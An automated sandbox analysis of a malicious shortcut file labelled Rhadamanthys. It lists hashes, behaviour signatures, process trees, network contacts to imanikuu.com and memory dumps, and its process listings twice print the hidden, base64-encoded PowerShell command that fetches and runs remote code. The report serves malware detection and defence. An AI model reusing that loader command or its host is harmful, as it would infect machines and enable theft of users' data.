Analysis Overview
SHA256
eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0
Threat Level: Known bad
The file DOC5723-57235723.lnk was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 11:16
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 11:16
Reported
2024-04-05 11:18
Platform
win7-20240221-en
Max time kernel
119s
Max time network
123s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2200 wrote to memory of 2452 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2200 wrote to memory of 2452 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2200 wrote to memory of 2452 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2452-38-0x000000001B3D0000-0x000000001B6B2000-memory.dmp
memory/2452-39-0x00000000022E0000-0x00000000022E8000-memory.dmp
memory/2452-40-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp
memory/2452-41-0x0000000002820000-0x00000000028A0000-memory.dmp
memory/2452-42-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp
memory/2452-43-0x0000000002820000-0x00000000028A0000-memory.dmp
memory/2452-44-0x0000000002820000-0x00000000028A0000-memory.dmp
memory/2452-45-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 11:16
Reported
2024-04-05 11:18
Platform
win10v2004-20240226-en
Max time kernel
147s
Max time network
152s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1244 created 2436 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4972 wrote to memory of 1244 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4972 wrote to memory of 1244 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1244 wrote to memory of 2480 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1244 wrote to memory of 2480 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1244 wrote to memory of 2480 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1244 wrote to memory of 2480 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 6.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4c2qydy1.la3.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1244-7-0x00000253A7D50000-0x00000253A7D72000-memory.dmp
memory/1244-12-0x00007FF8839D0000-0x00007FF884491000-memory.dmp
memory/1244-13-0x00000253A7DA0000-0x00000253A7DB0000-memory.dmp
memory/1244-14-0x00000253AA2A0000-0x00000253AA2FE000-memory.dmp
memory/1244-15-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp
memory/1244-16-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-18-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-17-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-19-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp
memory/1244-21-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/1244-20-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp
memory/1244-22-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp
memory/2480-23-0x000001D45C680000-0x000001D45C689000-memory.dmp
memory/2480-28-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp
memory/1244-29-0x00007FF8839D0000-0x00007FF884491000-memory.dmp
memory/1244-30-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp
memory/2480-31-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp
memory/2480-34-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp
memory/1244-33-0x00000253AA310000-0x00000253AA710000-memory.dmp
memory/2480-35-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp
memory/2480-32-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp
memory/2480-36-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp